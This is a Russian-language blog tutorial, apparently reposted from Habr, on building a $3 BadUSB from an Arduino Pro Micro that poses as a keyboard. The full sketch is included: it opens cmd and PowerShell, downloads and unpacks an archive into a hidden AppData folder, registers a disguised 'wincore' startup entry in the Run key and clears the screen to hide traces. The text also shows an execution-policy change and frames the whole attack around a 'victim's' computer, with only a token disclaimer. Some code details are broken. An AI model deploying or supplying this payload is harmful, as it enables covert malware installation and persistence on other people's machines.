- PVSM.RU - https://www.pvsm.ru -
Не так давно в наших кинотеатрах появился фильм про человека-паука. Главный герой фильма при помощи устройства, по виду напоминающего флешку, смог взломать систему и получить контроль над лучом, переносящим между измерениями. Платы Arduino Leonardo [1] и Arduino Pro Micro [2] (и вообще почти все микроконтроллеры на чипе 32u4) могут восприниматься системой как устройства ввода. Поэтому такое устройство вполне реально сделать, причём оно обойдётся вам всего в 3$. Всё что нужно для взлома — подойти к компьютеру жертвы, вставить «флешку», подождать 5 секунд, вытащить и уйти как ни в чём не бывало.
Данная статья создана исключительно в образовательных целях. Я не распространяю вредоносное ПО и не пропогандирую его использование. Ответственны за незаконное использование такого рода устройств только вы. Пользуйтесь на здоровье, но только в мирных целях. При публикации проекта, созданного с использованием этого материала, просьба указывать ссылку на этот пост или мой профиль [3]
Создадим простейшее устройство BadUSB на Arduino Pro Micro или Leonardo, которое при подключении к компьютеру будет определяться как клавиатура и вводить команды с высокой скоростью. В этом примере я сделаю программу, которая:
1. Создаёт папку в пользовательском каталоге AppData
2. Скачивает в неё архив с нужными файлами из интернета
3. Распаковывает файлы в скачанном архиве
4. Прописывает нужный файл в автозагрузку
5. Скрывает папку и файлы в ней и заметает следы
Откройте Arduino IDE и во вкладке Инструменты в выборе плат поставьте Arduino Leonardo. Не удивляйтесь, если Pro Micro не будет в списке так как этот микроконтроллер будет восприниматься системой как Leonardo. Теперь можно приступать к программированию нашего «добра».
Подключим библиотеку <Keyboard.h> [4] для подключения контроллера как клавиатуры к компьютеру жертвы. В функцию Void Setup пишем стандартный код подключения микроконтроллера как клавиатуры. Void Loop нам не понадобится, но без него скомпилировать скетч просто не получится, поэтому оставим данную функцию пустой. В итоге получаем вот такой костяк:
#include <Keyboard.h>
void setup(){
Keyboard.begin();
delay(2000);}
void main(){}
Напишем функцию для открытия окна Выполнить сочетанием клавиш Win + R. Эта функция понадобится нам целых три раза. Здесь всё понятно. Зажимаем клавишу Win и нажимаем R:
void winPlusR() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(45);
Keyboard.releaseAll();
delay(100);
}
Теперь нам почти не понадобятся знания C++ так как код ввода команд постоянно повторяется. Сейчас главное — знания командной строки Windows (cmd). Продумываем алгоритм: запустить командную строку, перейти в каталог AppData пользователя, создать там папку и закрыть окно cmd. Дальше всё просто — даём нашему микроконтроллеру инструкции как это сделать:
void createFolder(){
winPlusR();
// запусаем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
// переходим в каталог данных пользователя
Keyboard.println("cd C:/Users/%USERNAME%/AppData");
Keyboard.write(KEY_RETURN);
delay(100);
// создаём папку mycat
Keyboard.println("mkdir mycat");
Keyboard.write(KEY_RETURN);
delay(100);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(200);
}
Со скачиванием архива с файлами всё оказалось гораздо сложнее чем я думал. Дело в том что в командной строке Windows нет утилиты для скачивания с интернета. Сразу вспомнил утилиту wget в Debian, но у нас есть только доступ к командной строке без возможности установить дополнительные утилиты. Тогда пришлось обратиться к PowerShell:
void getFiles(){
winPlusR();
// открываем powershell
Keyboard.println("powershell");
Keyboard.write(KEY_RETURN);
delay(100);
// переходим в папку mycat
Keyboard.println("cd C:/Users/%USERNAME%/AppData/mycat");
Keyboard.write(KEY_RETURN);
delay(100);
// задаём адрес
Keyboard.println("$download_url = 'http://google.by'");
Keyboard.write(KEY_RETURN);
delay(100);
// задаём локальный путь
Keyboard.println("$local_path = 'C:/Downloads/file.zip'");
Keyboard.write(KEY_RETURN);
delay(100);
// запускаем веб клиент
Keyboard.println("$WebClient = New-Object System.Net.WebClient");
Keyboard.write(KEY_RETURN);
delay(500);
// качаем архив
Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)");
Keyboard.write(KEY_RETURN);
delay(1250);
// распаковываем его
Keyboard.println("Expand-Archive $file.zip");
Keyboard.write(KEY_RETURN);
delay(750);
// закрываем окно
Keyboard.println("exit");
Keyboard.write(KEY_RETURN);
delay(200);
}
Изначально я планировал сделать всё по другому — добавить в автозагрузку скрипт PowerShell, который бы при следующей загрузке скачивал и распаковывал архив без ограничения на время. Но в большинстве систем семейства Windows в PowerShell по умолчанию установлена максимальная политика безопасности, которая запрещяла запускать ps1-скрипты. Отключить это ограничение можно следующей командой:
powershell -Command Set-ExecutionPolicy RemoteSigned
Но незадача в том, что для выполнения данной команды нужны права администратора. Пришлось скачивать и распаковывать на ходу. Но если у вас есть доступ к «админке», то можно смело переделывать программу под мою первую идею. Надеюсь, с написанием кода читатель разберется самостоятельно.
Но на этом неприятности не закончились. Дело в том, что команда на распаковку архива не работает в старых версиях Windows. Поэтому если вы имеете дело с древними версиями винды, то вместо скачивания инструментом обратитесь к стороннему архиватору, например 7-Zip:
set-alias sz "$env:ProgramFiles7-Zip7z.exe"
sz x -r C:/Users/%USERNAME%/AppData/mycat/file.zip
Самое сложное уже позади. Возвращаемся к обычной командной строке, прописываем файл-запускатор в автозагрузку и скрываем папку и файлы в ней, изменив атрибуты:
void setUpFiles(){
winPlusR();
// открываем командную строку
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(100);
// переходим в папку пользователя
Keyboard.println("cd C:/Users/%USERNAME%/AppData");
Keyboard.write(KEY_RETURN);
delay(100);
// делаем папку невидимой для пользователя
Keyboard.println("attrib +h mycat");
Keyboard.write(KEY_RETURN);
delay(100);
// файлы внутри папки тоже
Keyboard.println("attrib +h mycat/");
Keyboard.write(KEY_RETURN);
delay(100);
// прописываем в автозагрузку
Keyboard.println("reg add HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v 'wincore' /d 'C:/Users/%USERNAME%/AppData/mycat/start.bat'");
Keyboard.write(KEY_RETURN);
delay(250);
// заметаем следы и закрываем cmd
Keyboard.println("cls && exit");
Keyboard.write(KEY_RETURN);
// дальше вытаскиваем "флешку" и сваливаем
}
Изменим Void Setup для запуска написанных нами функций по очереди:
void setup() {
Keyboard.begin();
delay(2000);
createFolder();
getFiles();
setUpFiles();
}
Мы написали простейший скетч для нашей «флешки» на Arduino IDE. Подключить её к ПК жертвы можно при помощи обычного переходника miniUSB на USB (желательно без провода). Пользуйтесь, но не во зло другим.
Автор: AlexAnanas
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/arduino/304473
Ссылки в тексте:
[1] Arduino Leonardo: https://ru.aliexpress.com/store/product/LEONARDO-R3-ATmega32U4-Compatible-for-Arduino-Leonardo/1950989_32730987350.html?af=56737&cv=19568950&cn=42pkx1eb1g1hp8219qtlrmmavc2ydmqp&dp=v5_42pkx1eb1g1hp8219qtlrmmavc2ydmqp&af=56737&cv=19568950&cn=42pkx1eb1g1hp8219qtlrmmavc2ydmqp&dp=v5_42pkx1eb1g1hp8219qtlrmmavc2ydmqp&afref=&aff_platform=default&cpt=1546788179964&sk=ccfBY4yg&aff_trace_key=470c8ee18e3b46778982be7b9ba3700c-1546788179964-07848-ccfBY4yg&terminal_id=c5083e173b664f999bd1281c64d30a7a
[2] Arduino Pro Micro: https://ru.aliexpress.com/item/New-Pro-Micro-for-arduino-ATmega32U4-5V-16MHz-Module-with-2-row-pin-header-For-Leonardo/32768308647.html?ws_ab_test=searchweb0_0%25252Csearchweb201602_5_10152_10065_10151_10068_10209_5430020_10307_10301_10137_10060_439_10155_10154_5370011_10056_10055_10054_10059_100031_10099_5400020_5410011_10103_10102_10169_10052_10053_10142_10107_10050_10051_5380020_10084_10083_10119_10080_10082_10081_10110_10111_10112_5390011_10113_10114_10311_10312_10313_10314_10315_10078_10079_10210_10073_10120_5420011_10125%25252Csearchweb201603_5%25252CppcSwitch_5&btsid=e3af7561-1a54-48d1-a981-bd61006144ad&algo_expid=c767b5a8-f731-475f-858b-6cbffa3824d3-1&algo_pvid=c767b5a8-f731-475f-858b-6cbffa3824d3&af=937957&cv=9268448&cn=42pkx5fzywtmpv94usw5e345hfncbwaz&dp=v5_42pkx5fzywtmpv94usw5e345hfncbwaz&af=937957&cv=9268448&cn=42pkx5fzywtmpv94usw5e345hfncbwaz&dp=v5_42pkx5fzywtmpv94usw5e345hfncbwaz&afref=&aff_platform=default&cpt=1546793424504&sk=ccfBY4yg&aff_trace_key=638feef01f3a4adf99242dda10defbd5-1546793424504-00676-ccfBY4yg&terminal_id=c5083e173b664f999bd1281c64d30a7a
[3] мой профиль: https://habr.com/users/alexcocos/
[4] <Keyboard.h>: https://github.com/arduino-libraries/Keyboard
[5] Источник: https://habr.com/post/435342/?utm_source=habrahabr&utm_medium=rss&utm_campaign=435342
Нажмите здесь для печати.